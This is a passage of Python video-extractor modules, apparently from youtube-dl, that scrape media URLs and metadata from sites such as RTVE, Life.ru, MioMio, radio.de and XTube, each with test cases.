    _VALID_URL = r'^https?://www.freevideo.cz/vase-videa/(?P<id>[^.]+)\.html(?:$|[?#])'

    _TEST = {
        'url': 'http://www.freevideo.cz/vase-videa/vysukany-zadecek-22033.html',
        'info_dict': {
            'id': 'vysukany-zadecek-22033',
            'ext': 'mp4',
            'title': 'vysukany-zadecek-22033',
            'age_limit': 18,
        },
        'skip': 'Blocked outside .cz',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage, handle = self._download_webpage_handle(url, video_id)
        if '//www.czechav.com/' in handle.geturl():
            raise ExtractorError(
                'Access to freevideo is blocked from your location',
                expected=True)

        video_url = self._search_regex(
            r'\s+url: "(http://[a-z0-9-]+.cdn.freevideo.cz/stream/.*?/video.mp4)"',
            webpage, 'video URL')

        return {
            'id': video_id,
            'url': video_url,
            'title': video_id,
            'age_limit': 18,
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class RadioDeIE(InfoExtractor):
    IE_NAME = 'radio.de'
    _VALID_URL = r'https?://(?P<id>.+?)\.(?:radio\.(?:de|at|fr|pt|es|pl|it)|rad\.io)'
    _TEST = {
        'url': 'http://ndr2.radio.de/',
        'info_dict': {
            'id': 'ndr2',
            'ext': 'mp3',
            'title': 're:^NDR 2 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'md5:591c49c702db1a33751625ebfb67f273',
            'thumbnail': 're:^https?://.*\.png',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        radio_id = self._match_id(url)
        webpage = self._download_webpage(url, radio_id)
        jscode = self._search_regex(
            r"'components/station/stationService':\s*\{\s*'?station'?:\s*(\{.*?\s*\}),\n",
            webpage, 'broadcast')

        broadcast = self._parse_json(jscode, radio_id)
        title = self._live_title(broadcast['name'])
        description = broadcast.get('description') or broadcast.get('shortDescription')
        thumbnail = broadcast.get('picture4Url') or broadcast.get('picture4TransUrl') or broadcast.get('logo100x100')

        formats = [{
            'url': stream['streamUrl'],
            'ext': stream['streamContentFormat'].lower(),
            'acodec': stream['streamContentFormat'],
            'abr': stream['bitRate'],
            'asr': stream['sampleRate']
        } for stream in broadcast['streamUrls']]
        self._sort_formats(formats)

        return {
            'id': radio_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'is_live': True,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class KeekIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?keek\.com/keek/(?P<id>\w+)'
    IE_NAME = 'keek'
    _TEST = {
        'url': 'https://www.keek.com/keek/NODfbab',
        'md5': '9b0636f8c0f7614afa4ea5e4c6e57e83',
        'info_dict': {
            'id': 'NODfbab',
            'ext': 'mp4',
            'title': 'md5:35d42050a3ece241d5ddd7fdcc6fd896',
            'uploader': 'ytdl',
            'uploader_id': 'eGT5bab',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        return {
            'id': video_id,
            'url': self._og_search_video_url(webpage),
            'ext': 'mp4',
            'title': self._og_search_description(webpage).strip(),
            'thumbnail': self._og_search_thumbnail(webpage),
            'uploader': self._search_regex(
                r'data-username=(["\'])(?P<uploader>.+?)\1', webpage,
                'uploader', fatal=False, group='uploader'),
            'uploader_id': self._search_regex(
                r'data-user-id=(["\'])(?P<uploader_id>.+?)\1', webpage,
                'uploader id', fatal=False, group='uploader_id'),
        }






# coding: utf-8
from __future__ import unicode_literals

import random

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    xpath_text,
    int_or_none,
    ExtractorError,
    sanitized_Request,
)


class MioMioIE(InfoExtractor):
    IE_NAME = 'miomio.tv'
    _VALID_URL = r'https?://(?:www\.)?miomio\.tv/watch/cc(?P<id>[0-9]+)'
    _TESTS = [{
        # "type=video" in flashvars
        'url': 'http://www.miomio.tv/watch/cc88912/',
        'info_dict': {
            'id': '88912',
            'ext': 'flv',
            'title': '【SKY】字幕 铠武昭和VS平成 假面骑士大战FEAT战队 魔星字幕组 字幕',
            'duration': 5923,
        },
        'skip': 'Unable to load videos',
    }, {
        'url': 'http://www.miomio.tv/watch/cc184024/',
        'info_dict': {
            'id': '43729',
            'title': '《动漫同人插画绘制》',
        },
        'playlist_mincount': 86,
        'skip': 'Unable to load videos',
    }, {
        'url': 'http://www.miomio.tv/watch/cc173113/',
        'info_dict': {
            'id': '173113',
            'title': 'The New Macbook 2015 上手试玩与简评'
        },
        'playlist_mincount': 2,
        'skip': 'Unable to load videos',
    }, {
        # new 'h5' player
        'url': 'http://www.miomio.tv/watch/cc273997/',
        'md5': '0b27a4b4495055d826813f8c3a6b2070',
        'info_dict': {
            'id': '273997',
            'ext': 'mp4',
            'title': 'マツコの知らない世界【劇的進化SP！ビニール傘＆冷凍食品2016】 1_2 - 16 05 31',
        },
    }]

    def _extract_mioplayer(self, webpage, video_id, title, http_headers):
        xml_config = self._search_regex(
            r'flashvars="type=(?:sina|video)&amp;(.+?)&amp;',
            webpage, 'xml config')

        # skipping the following page causes lags and eventually connection drop-outs
        self._request_webpage(
            'http://www.miomio.tv/mioplayer/mioplayerconfigfiles/xml.php?id=%s&r=%s' % (id, random.randint(100, 999)),
            video_id)

        vid_config_request = sanitized_Request(
            'http://www.miomio.tv/mioplayer/mioplayerconfigfiles/sina.php?{0}'.format(xml_config),
            headers=http_headers)

        # the following xml contains the actual configuration information on the video file(s)
        vid_config = self._download_xml(vid_config_request, video_id)

        if not int_or_none(xpath_text(vid_config, 'timelength')):
            raise ExtractorError('Unable to load videos!', expected=True)

        entries = []
        for f in vid_config.findall('./durl'):
            segment_url = xpath_text(f, 'url', 'video url')
            if not segment_url:
                continue
            order = xpath_text(f, 'order', 'order')
            segment_id = video_id
            segment_title = title
            if order:
                segment_id += '-%s' % order
                segment_title += ' part %s' % order
            entries.append({
                'id': segment_id,
                'url': segment_url,
                'title': segment_title,
                'duration': int_or_none(xpath_text(f, 'length', 'duration'), 1000),
                'http_headers': http_headers,
            })

        return entries

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_meta(
            'description', webpage, 'title', fatal=True)

        mioplayer_path = self._search_regex(
            r'src="(/mioplayer(?:_h5)?/[^"]+)"', webpage, 'ref_path')

        if '_h5' in mioplayer_path:
            player_url = compat_urlparse.urljoin(url, mioplayer_path)
            player_webpage = self._download_webpage(
                player_url, video_id,
                note='Downloading player webpage', headers={'Referer': url})
            entries = self._parse_html5_media_entries(player_url, player_webpage, video_id)
            http_headers = {'Referer': player_url}
        else:
            http_headers = {'Referer': 'http://www.miomio.tv%s' % mioplayer_path}
            entries = self._extract_mioplayer(webpage, video_id, title, http_headers)

        if len(entries) == 1:
            segment = entries[0]
            segment['id'] = video_id
            segment['title'] = title
            segment['http_headers'] = http_headers
            return segment

        return {
            '_type': 'multi_video',
            'id': video_id,
            'entries': entries,
            'title': title,
            'http_headers': http_headers,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    parse_iso8601,
    remove_end,
)


class LifeNewsIE(InfoExtractor):
    IE_NAME = 'life'
    IE_DESC = 'Life.ru'
    _VALID_URL = r'https?://life\.ru/t/[^/]+/(?P<id>\d+)'

    _TESTS = [{
        # single video embedded via video/source
        'url': 'https://life.ru/t/новости/98736',
        'md5': '77c95eaefaca216e32a76a343ad89d23',
        'info_dict': {
            'id': '98736',
            'ext': 'mp4',
            'title': 'Мужчина нашел дома архив оборонного завода',
            'description': 'md5:3b06b1b39b5e2bea548e403d99b8bf26',
            'timestamp': 1344154740,
            'upload_date': '20120805',
            'view_count': int,
        }
    }, {
        # single video embedded via iframe
        'url': 'https://life.ru/t/новости/152125',
        'md5': '77d19a6f0886cd76bdbf44b4d971a273',
        'info_dict': {
            'id': '152125',
            'ext': 'mp4',
            'title': 'В Сети появилось видео захвата «Правым сектором» колхозных полей ',
            'description': 'Жители двух поселков Днепропетровской области не простили радикалам угрозу лишения плодородных земель и пошли в лобовую. ',
            'timestamp': 1427961840,
            'upload_date': '20150402',
            'view_count': int,
        }
    }, {
        # two videos embedded via iframe
        'url': 'https://life.ru/t/новости/153461',
        'info_dict': {
            'id': '153461',
            'title': 'В Москве спасли потерявшегося медвежонка, который спрятался на дереве',
            'description': 'Маленький хищник не смог найти дорогу домой и обрел временное убежище на тополе недалеко от жилого массива, пока его не нашла соседская собака.',
            'timestamp': 1430825520,
            'view_count': int,
        },
        'playlist': [{
            'md5': '9b6ef8bc0ffa25aebc8bdb40d89ab795',
            'info_dict': {
                'id': '153461-video1',
                'ext': 'mp4',
                'title': 'В Москве спасли потерявшегося медвежонка, который спрятался на дереве (Видео 1)',
                'description': 'Маленький хищник не смог найти дорогу домой и обрел временное убежище на тополе недалеко от жилого массива, пока его не нашла соседская собака.',
                'timestamp': 1430825520,
                'upload_date': '20150505',
            },
        }, {
            'md5': 'ebb3bf3b1ce40e878d0d628e93eb0322',
            'info_dict': {
                'id': '153461-video2',
                'ext': 'mp4',
                'title': 'В Москве спасли потерявшегося медвежонка, который спрятался на дереве (Видео 2)',
                'description': 'Маленький хищник не смог найти дорогу домой и обрел временное убежище на тополе недалеко от жилого массива, пока его не нашла соседская собака.',
                'timestamp': 1430825520,
                'upload_date': '20150505',
            },
        }],
    }, {
        'url': 'https://life.ru/t/новости/213035',
        'only_matching': True,
    }, {
        'url': 'https://life.ru/t/%D0%BD%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8/153461',
        'only_matching': True,
    }, {
        'url': 'https://life.ru/t/новости/411489/manuel_vals_nazval_frantsiiu_tsieliu_nomier_odin_dlia_ighil',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_urls = re.findall(
            r'<video[^>]+><source[^>]+src=["\'](.+?)["\']', webpage)

        iframe_links = re.findall(
            r'<iframe[^>]+src=["\']((?:https?:)?//embed\.life\.ru/(?:embed|video)/.+?)["\']',
            webpage)

        if not video_urls and not iframe_links:
            raise ExtractorError('No media links available for %s' % video_id)

        title = remove_end(
            self._og_search_title(webpage),
            ' - Life.ru')

        description = self._og_search_description(webpage)

        view_count = self._html_search_regex(
            r'<div[^>]+class=(["\']).*?\bhits-count\b.*?\1[^>]*>\s*(?P<value>\d+)\s*</div>',
            webpage, 'view count', fatal=False, group='value')

        timestamp = parse_iso8601(self._search_regex(
            r'<time[^>]+datetime=(["\'])(?P<value>.+?)\1',
            webpage, 'upload date', fatal=False, group='value'))

        common_info = {
            'description': description,
            'view_count': int_or_none(view_count),
            'timestamp': timestamp,
        }

        def make_entry(video_id, video_url, index=None):
            cur_info = dict(common_info)
            cur_info.update({
                'id': video_id if not index else '%s-video%s' % (video_id, index),
                'url': video_url,
                'title': title if not index else '%s (Видео %s)' % (title, index),
            })
            return cur_info

        def make_video_entry(video_id, video_url, index=None):
            video_url = compat_urlparse.urljoin(url, video_url)
            return make_entry(video_id, video_url, index)

        def make_iframe_entry(video_id, video_url, index=None):
            video_url = self._proto_relative_url(video_url, 'http:')
            cur_info = make_entry(video_id, video_url, index)
            cur_info['_type'] = 'url_transparent'
            return cur_info

        if len(video_urls) == 1 and not iframe_links:
            return make_video_entry(video_id, video_urls[0])

        if len(iframe_links) == 1 and not video_urls:
            return make_iframe_entry(video_id, iframe_links[0])

        entries = []

        if video_urls:
            for num, video_url in enumerate(video_urls, 1):
                entries.append(make_video_entry(video_id, video_url, num))

        if iframe_links:
            for num, iframe_link in enumerate(iframe_links, len(video_urls) + 1):
                entries.append(make_iframe_entry(video_id, iframe_link, num))

        playlist = common_info.copy()
        playlist.update(self.playlist_result(entries, video_id, title, description))
        return playlist


class LifeEmbedIE(InfoExtractor):
    IE_NAME = 'life:embed'
    _VALID_URL = r'https?://embed\.life\.ru/(?:embed|video)/(?P<id>[\da-f]{32})'

    _TESTS = [{
        'url': 'http://embed.life.ru/embed/e50c2dec2867350528e2574c899b8291',
        'md5': 'b889715c9e49cb1981281d0e5458fbbe',
        'info_dict': {
            'id': 'e50c2dec2867350528e2574c899b8291',
            'ext': 'mp4',
            'title': 'e50c2dec2867350528e2574c899b8291',
            'thumbnail': 're:http://.*\.jpg',
        }
    }, {
        # with 1080p
        'url': 'https://embed.life.ru/video/e50c2dec2867350528e2574c899b8291',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        thumbnail = None
        formats = []

        def extract_m3u8(manifest_url):
            formats.extend(self._extract_m3u8_formats(
                manifest_url, video_id, 'mp4',
                entry_protocol='m3u8_native', m3u8_id='m3u8'))

        def extract_original(original_url):
            formats.append({
                'url': original_url,
                'format_id': determine_ext(original_url, None),
                'preference': 1,
            })

        playlist = self._parse_json(
            self._search_regex(
                r'options\s*=\s*({.+?});', webpage, 'options', default='{}'),
            video_id).get('playlist', {})
        if playlist:
            master = playlist.get('master')
            if isinstance(master, compat_str) and determine_ext(master) == 'm3u8':
                extract_m3u8(compat_urlparse.urljoin(url, master))
            original = playlist.get('original')
            if isinstance(original, compat_str):
                extract_original(original)
            thumbnail = playlist.get('image')

        # Old rendition fallback
        if not formats:
            for video_url in re.findall(r'"file"\s*:\s*"([^"]+)', webpage):
                video_url = compat_urlparse.urljoin(url, video_url)
                if determine_ext(video_url) == 'm3u8':
                    extract_m3u8(video_url)
                else:
                    extract_original(video_url)

        self._sort_formats(formats)

        thumbnail = thumbnail or self._search_regex(
            r'"image"\s*:\s*"([^"]+)', webpage, 'thumbnail', default=None)

        return {
            'id': video_id,
            'title': video_id,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class TelewebionIE(InfoExtractor):
    _VALID_URL = r'https?://www\.telewebion\.com/#!/episode/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.telewebion.com/#!/episode/1263668/',
        'info_dict': {
            'id': '1263668',
            'ext': 'mp4',
            'title': 'قرعه\u200cکشی لیگ قهرمانان اروپا',
            'thumbnail': 're:^https?://.*\.jpg',
            'view_count': int,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        secure_token = self._download_webpage(
            'http://m.s2.telewebion.com/op/op?action=getSecurityToken', video_id)
        episode_details = self._download_json(
            'http://m.s2.telewebion.com/op/op', video_id,
            query={'action': 'getEpisodeDetails', 'episode_id': video_id})

        m3u8_url = 'http://m.s1.telewebion.com/smil/%s.m3u8?filepath=%s&m3u8=1&secure_token=%s' % (
            video_id, episode_details['file_path'], secure_token)
        formats = self._extract_m3u8_formats(
            m3u8_url, video_id, ext='mp4', m3u8_id='hls')

        picture_paths = [
            episode_details.get('picture_path'),
            episode_details.get('large_picture_path'),
        ]

        thumbnails = [{
            'url': picture_path,
            'preference': idx,
        } for idx, picture_path in enumerate(picture_paths) if picture_path is not None]

        return {
            'id': video_id,
            'title': episode_details['title'],
            'formats': formats,
            'thumbnails': thumbnails,
            'view_count': episode_details.get('view_count'),
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class HentaiStigmaIE(InfoExtractor):
    _VALID_URL = r'^https?://hentai\.animestigma\.com/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://hentai.animestigma.com/inyouchuu-etsu-bonus/',
        'md5': '4e3d07422a68a4cc363d8f57c8bf0d23',
        'info_dict': {
            'id': 'inyouchuu-etsu-bonus',
            'ext': 'mp4',
            'title': 'Inyouchuu Etsu Bonus',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(
            r'<h2[^>]+class="posttitle"[^>]*><a[^>]*>([^<]+)</a>',
            webpage, 'title')
        wrap_url = self._html_search_regex(
            r'<iframe[^>]+src="([^"]+mp4)"', webpage, 'wrapper url')
        wrap_webpage = self._download_webpage(wrap_url, video_id)

        video_url = self._html_search_regex(
            r'file\s*:\s*"([^"]+)"', wrap_webpage, 'video url')

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'age_limit': 18,
        }






# encoding: utf-8
from __future__ import unicode_literals

import base64
import re
import time

from .common import InfoExtractor
from ..compat import (
    compat_struct_unpack,
)
from ..utils import (
    ExtractorError,
    float_or_none,
    remove_end,
    remove_start,
    sanitized_Request,
    std_headers,
)


def _decrypt_url(png):
    encrypted_data = base64.b64decode(png.encode('utf-8'))
    text_index = encrypted_data.find(b'tEXt')
    text_chunk = encrypted_data[text_index - 4:]
    length = compat_struct_unpack('!I', text_chunk[:4])[0]
    # Use bytearray to get integers when iterating in both python 2.x and 3.x
    data = bytearray(text_chunk[8:8 + length])
    data = [chr(b) for b in data if b != 0]
    hash_index = data.index('#')
    alphabet_data = data[:hash_index]
    url_data = data[hash_index + 1:]

    alphabet = []
    e = 0
    d = 0
    for l in alphabet_data:
        if d == 0:
            alphabet.append(l)
            d = e = (e + 1) % 4
        else:
            d -= 1
    url = ''
    f = 0
    e = 3
    b = 1
    for letter in url_data:
        if f == 0:
            l = int(letter) * 10
            f = 1
        else:
            if e == 0:
                l += int(letter)
                url += alphabet[l]
                e = (b + 3) % 4
                f = 0
                b += 1
            else:
                e -= 1

    return url


class RTVEALaCartaIE(InfoExtractor):
    IE_NAME = 'rtve.es:alacarta'
    IE_DESC = 'RTVE a la carta'
    _VALID_URL = r'https?://www\.rtve\.es/(m/)?(alacarta/videos|filmoteca)/[^/]+/[^/]+/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.rtve.es/alacarta/videos/balonmano/o-swiss-cup-masculina-final-espana-suecia/2491869/',
        'md5': '1d49b7e1ca7a7502c56a4bf1b60f1b43',
        'info_dict': {
            'id': '2491869',
            'ext': 'mp4',
            'title': 'Balonmano - Swiss Cup masculina. Final: España-Suecia',
            'duration': 5024.566,
        },
    }, {
        'note': 'Live stream',
        'url': 'http://www.rtve.es/alacarta/videos/television/24h-live/1694255/',
        'info_dict': {
            'id': '1694255',
            'ext': 'flv',
            'title': 'TODO',
        },
        'skip': 'The f4m manifest can\'t be used yet',
    }, {
        'url': 'http://www.rtve.es/m/alacarta/videos/cuentame-como-paso/cuentame-como-paso-t16-ultimo-minuto-nuestra-vida-capitulo-276/2969138/?media=tve',
        'only_matching': True,
    }, {
        'url': 'http://www.rtve.es/filmoteca/no-do/not-1-introduccion-primer-noticiario-espanol/1465256/',
        'only_matching': True,
    }]

    def _real_initialize(self):
        user_agent_b64 = base64.b64encode(std_headers['User-Agent'].encode('utf-8')).decode('utf-8')
        manager_info = self._download_json(
            'http://www.rtve.es/odin/loki/' + user_agent_b64,
            None, 'Fetching manager info')
        self._manager = manager_info['manager']

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        info = self._download_json(
            'http://www.rtve.es/api/videos/%s/config/alacarta_videos.json' % video_id,
            video_id)['page']['items'][0]
        if info['state'] == 'DESPU':
            raise ExtractorError('The video is no longer available', expected=True)
        png_url = 'http://www.rtve.es/ztnr/movil/thumbnail/%s/videos/%s.png' % (self._manager, video_id)
        png_request = sanitized_Request(png_url)
        png_request.add_header('Referer', url)
        png = self._download_webpage(png_request, video_id, 'Downloading url information')
        video_url = _decrypt_url(png)
        if not video_url.endswith('.f4m'):
            if '?' not in video_url:
                video_url = video_url.replace('resources/', 'auth/resources/')
            video_url = video_url.replace('.net.rtve', '.multimedia.cdn.rtve')

        subtitles = None
        if info.get('sbtFile') is not None:
            subtitles = self.extract_subtitles(video_id, info['sbtFile'])

        return {
            'id': video_id,
            'title': info['title'],
            'url': video_url,
            'thumbnail': info.get('image'),
            'page_url': url,
            'subtitles': subtitles,
            'duration': float_or_none(info.get('duration'), scale=1000),
        }

    def _get_subtitles(self, video_id, sub_file):
        subs = self._download_json(
            sub_file + '.json', video_id,
            'Downloading subtitles info')['page']['items']
        return dict(
            (s['lang'], [{'ext': 'vtt', 'url': s['src']}])
            for s in subs)


class RTVEInfantilIE(InfoExtractor):
    IE_NAME = 'rtve.es:infantil'
    IE_DESC = 'RTVE infantil'
    _VALID_URL = r'https?://(?:www\.)?rtve\.es/infantil/serie/(?P<show>[^/]*)/video/(?P<short_title>[^/]*)/(?P<id>[0-9]+)/'

    _TESTS = [{
        'url': 'http://www.rtve.es/infantil/serie/cleo/video/maneras-vivir/3040283/',
        'md5': '915319587b33720b8e0357caaa6617e6',
        'info_dict': {
            'id': '3040283',
            'ext': 'mp4',
            'title': 'Maneras de vivir',
            'thumbnail': 'http://www.rtve.es/resources/jpg/6/5/1426182947956.JPG',
            'duration': 357.958,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        info = self._download_json(
            'http://www.rtve.es/api/videos/%s/config/alacarta_videos.json' % video_id,
            video_id)['page']['items'][0]

        webpage = self._download_webpage(url, video_id)
        vidplayer_id = self._search_regex(
            r' id="vidplayer([0-9]+)"', webpage, 'internal video ID')

        png_url = 'http://www.rtve.es/ztnr/movil/thumbnail/default/videos/%s.png' % vidplayer_id
        png = self._download_webpage(png_url, video_id, 'Downloading url information')
        video_url = _decrypt_url(png)

        return {
            'id': video_id,
            'ext': 'mp4',
            'title': info['title'],
            'url': video_url,
            'thumbnail': info.get('image'),
            'duration': float_or_none(info.get('duration'), scale=1000),
        }


class RTVELiveIE(InfoExtractor):
    IE_NAME = 'rtve.es:live'
    IE_DESC = 'RTVE.es live streams'
    _VALID_URL = r'https?://www\.rtve\.es/directo/(?P<id>[a-zA-Z0-9-]+)'

    _TESTS = [{
        'url': 'http://www.rtve.es/directo/la-1/',
        'info_dict': {
            'id': 'la-1',
            'ext': 'mp4',
            'title': 're:^La 1 [0-9]{4}-[0-9]{2}-[0-9]{2}Z[0-9]{6}$',
        },
        'params': {
            'skip_download': 'live stream',
        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        start_time = time.gmtime()
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)
        title = remove_end(self._og_search_title(webpage), ' en directo en RTVE.es')
        title = remove_start(title, 'Estoy viendo ')
        title += ' ' + time.strftime('%Y-%m-%dZ%H%M%S', start_time)

        vidplayer_id = self._search_regex(
            r'playerId=player([0-9]+)', webpage, 'internal video ID')
        png_url = 'http://www.rtve.es/ztnr/movil/thumbnail/amonet/videos/%s.png' % vidplayer_id
        png = self._download_webpage(png_url, video_id, 'Downloading url information')
        m3u8_url = _decrypt_url(png)
        formats = self._extract_m3u8_formats(m3u8_url, video_id, ext='mp4')
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'is_live': True,
        }


class RTVETelevisionIE(InfoExtractor):
    IE_NAME = 'rtve.es:television'
    _VALID_URL = r'https?://www\.rtve\.es/television/[^/]+/[^/]+/(?P<id>\d+).shtml'

    _TEST = {
        'url': 'http://www.rtve.es/television/20160628/revolucion-del-movil/1364141.shtml',
        'info_dict': {
            'id': '3069778',
            'ext': 'mp4',
            'title': 'Documentos TV - La revolución del móvil',
            'duration': 3496.948,
        },
        'params': {
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        page_id = self._match_id(url)
        webpage = self._download_webpage(url, page_id)

        alacarta_url = self._search_regex(
            r'data-location="alacarta_videos"[^<]+url&quot;:&quot;(http://www\.rtve\.es/alacarta.+?)&',
            webpage, 'alacarta url', default=None)
        if alacarta_url is None:
            raise ExtractorError(
                'The webpage doesn\'t contain any video', expected=True)

        return self.url_result(alacarta_url, ie=RTVEALaCartaIE.ie_key())






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class RadioFranceIE(InfoExtractor):
    _VALID_URL = r'^https?://maison\.radiofrance\.fr/radiovisions/(?P<id>[^?#]+)'
    IE_NAME = 'radiofrance'

    _TEST = {
        'url': 'http://maison.radiofrance.fr/radiovisions/one-one',
        'md5': 'bdbb28ace95ed0e04faab32ba3160daf',
        'info_dict': {
            'id': 'one-one',
            'ext': 'ogg',
            'title': 'One to one',
            'description': "Plutôt que d'imaginer la radio de demain comme technologie ou comme création de contenu, je veux montrer que quelles que soient ses évolutions, j'ai l'intime conviction que la radio continuera d'être un grand média de proximité pour les auditeurs.",
            'uploader': 'Thomas Hercouët',
        },
    }

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        video_id = m.group('id')

        webpage = self._download_webpage(url, video_id)
        title = self._html_search_regex(r'<h1>(.*?)</h1>', webpage, 'title')
        description = self._html_search_regex(
            r'<div class="bloc_page_wrapper"><div class="text">(.*?)</div>',
            webpage, 'description', fatal=False)
        uploader = self._html_search_regex(
            r'<div class="credit">&nbsp;&nbsp;&copy;&nbsp;(.*?)</div>',
            webpage, 'uploader', fatal=False)

        formats_str = self._html_search_regex(
            r'class="jp-jplayer[^"]*" data-source="([^"]+)">',
            webpage, 'audio URLs')
        formats = [
            {
                'format_id': fm[0],
                'url': fm[1],
                'vcodec': 'none',
                'preference': i,
            }
            for i, fm in
            enumerate(re.findall(r"([a-z0-9]+)\s*:\s*'([^']+)'", formats_str))
        ]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': description,
            'uploader': uploader,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor


class HarkIE(InfoExtractor):
    _VALID_URL = r'https?://www\.hark\.com/clips/(?P<id>.+?)-.+'
    _TEST = {
        'url': 'http://www.hark.com/clips/mmbzyhkgny-obama-beyond-the-afghan-theater-we-only-target-al-qaeda-on-may-23-2013',
        'md5': '6783a58491b47b92c7c1af5a77d4cbee',
        'info_dict': {
            'id': 'mmbzyhkgny',
            'ext': 'mp3',
            'title': 'Obama: \'Beyond The Afghan Theater, We Only Target Al Qaeda\' on May 23, 2013',
            'description': 'President Barack Obama addressed the nation live on May 23, 2013 in a speech aimed at addressing counter-terrorism policies including the use of drone strikes, detainees at Guantanamo Bay prison facility, and American citizens who are terrorists.',
            'duration': 11,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        data = self._download_json(
            'http://www.hark.com/clips/%s.json' % video_id, video_id)

        return {
            'id': video_id,
            'url': data['url'],
            'title': data['name'],
            'description': data.get('description'),
            'thumbnail': data.get('image_original'),
            'duration': data.get('duration'),
        }






from __future__ import unicode_literals

import itertools
import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    orderedSet,
    parse_duration,
    sanitized_Request,
    str_to_int,
)


class XTubeIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                        (?:
                            xtube:|
                            https?://(?:www\.)?xtube\.com/(?:watch\.php\?.*\bv=|video-watch/(?P<display_id>[^/]+)-)
                        )
                        (?P<id>[^/?&#]+)
                    '''

    _TESTS = [{
        # old URL schema
        'url': 'http://www.xtube.com/watch.php?v=kVTUy_G222_',
        'md5': '092fbdd3cbe292c920ef6fc6a8a9cdab',
        'info_dict': {
            'id': 'kVTUy_G222_',
            'ext': 'mp4',
            'title': 'strange erotica',
            'description': 'contains:an ET kind of thing',
            'uploader': 'greenshowers',
            'duration': 450,
            'view_count': int,
            'comment_count': int,
            'age_limit': 18,
        }
    }, {
        # new URL schema
        'url': 'http://www.xtube.com/video-watch/strange-erotica-625837',
        'only_matching': True,
    }, {
        'url': 'xtube:625837',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        if not display_id:
            display_id = video_id
            url = 'http://www.xtube.com/watch.php?v=%s' % video_id

        req = sanitized_Request(url)
        req.add_header('Cookie', 'age_verified=1; cookiesAccepted=1')
        webpage = self._download_webpage(req, display_id)

        sources = self._parse_json(self._search_regex(
            r'sources\s*:\s*({.+?}),', webpage, 'sources'), video_id)

        formats = []
        for format_id, format_url in sources.items():
            formats.append({
                'url': format_url,
                'format_id': format_id,
                'height': int_or_none(format_id),
            })
        self._sort_formats(formats)

        title = self._search_regex(
            (r'<h1>(?P<title>[^<]+)</h1>', r'videoTitle\s*:\s*(["\'])(?P<title>.+?)\1'),
            webpage, 'title', group='title')
        description = self._search_regex(
            r'</h1>\s*<p>([^<]+)', webpage, 'description', fatal=False)
        uploader = self._search_regex(
            (r'<input[^>]+name="contentOwnerId"[^>]+value="([^"]+)"',
             r'<span[^>]+class="nickname"[^>]*>([^<]+)'),
            webpage, 'uploader', fatal=False)
        duration = parse_duration(self._search_regex(
            r'<dt>Runtime:</dt>\s*<dd>([^<]+)</dd>',
            webpage, 'duration', fatal=False))
        view_count = str_to_int(self._search_regex(
            r'<dt>Views:</dt>\s*<dd>([\d,\.]+)</dd>',
            webpage, 'view count', fatal=False))
        comment_count = str_to_int(self._html_search_regex(
            r'>Comments? \(([\d,\.]+)\)<',
            webpage, 'comment count', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'uploader': uploader,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count,
            'age_limit': 18,
            'formats': formats,
        }


class XTubeUserIE(InfoExtractor):
    IE_DESC = 'XTube user profile'
    _VALID_URL = r'https?://(?:www\.)?xtube\.com/profile/(?P<id>[^/]+-\d+)'
    _TEST = {
        'url': 'http://www.xtube.com/profile/greenshowers-4056496',
        'info_dict': {
            'id': 'greenshowers-4056496',
            'age_limit': 18,
        },
        'playlist_mincount': 155,
    }

    def _real_extract(self, url):
        user_id = self._match_id(url)

        entries = []
        for pagenum in itertools.count(1):
            request = sanitized_Request(
                'http://www.xtube.com/profile/%s/videos/%d' % (user_id, pagenum),
                headers={
